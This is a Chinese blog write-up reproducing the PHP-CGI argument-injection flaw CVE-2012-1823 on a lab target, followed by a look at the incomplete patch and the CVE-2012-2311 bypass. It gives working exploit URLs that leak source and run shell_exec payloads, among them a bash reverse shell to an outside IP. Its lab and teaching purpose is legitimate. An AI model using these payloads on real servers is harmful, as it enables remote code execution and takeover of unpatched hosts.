phpcgi 代码执行 (CVE-2012-1823) 复现

@[TOC](phpcgi 代码执行 (CVE-2012-1823))
所有文章,仅供安全研究与学习之用,后果自负!

phpcgi 代码执行 (CVE-2012-1823)

通过阅读源码,发现cgi模式下通过可控命令行参数有如下一些参数可用:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

访问下边页面 返回源码 说明存在该漏洞
ip:port/index.php/?-s

0x01 漏洞描述

CGI全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据 这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

0x02 影响范围

php-5.3.12 以下

0x03 漏洞复现

(1) 访问靶场主页

http://118.193.36.37:46102/index.html

在这里插入图片描述
(2)访问 /index.php

http://118.193.36.37:46102/index.php

在这里插入图片描述
(3) 访问下边页面 返回源码 说明存在该漏洞

http://118.193.36.37:46102/index.php/?-s

在这里插入图片描述
存在该漏洞

任意代码执行

访问下边网址burp 抓包

http://118.193.36.37:46102/index.php/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

post请求体如下

<?php echo shell_exec("id"); ?>
执行成功

在这里插入图片描述
ls /tmp

<?php echo shell_exec("ls /tmp"); ?>

在这里插入图片描述

反弹shell

<?php echo shell_exec("bash -i >& /dev/tcp/119.29.67.4/9897 0>&1"); ?>

失败 可能 权限不足

在这里插入图片描述
在这里插入图片描述

0x04 漏洞修复

漏洞修复参考 https://www.cnblogs.com/riginal/p/11314565.html

CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。

PHP的修复方法是对-进行了检查:

if(query_string = getenv("QUERY_STRING")) {
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

可见,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。

这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:

 #!/bin/sh  
    exec /usr/local/bin/php-cgi $*

通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。

于是,php5.4.3和php5.3.13中继续进行修改:

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
            /* skip all leading spaces */
        }
        if(*p == '-') {
            skip_getopt = 1;
        }
        free(decoded_query_string);
    }

先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值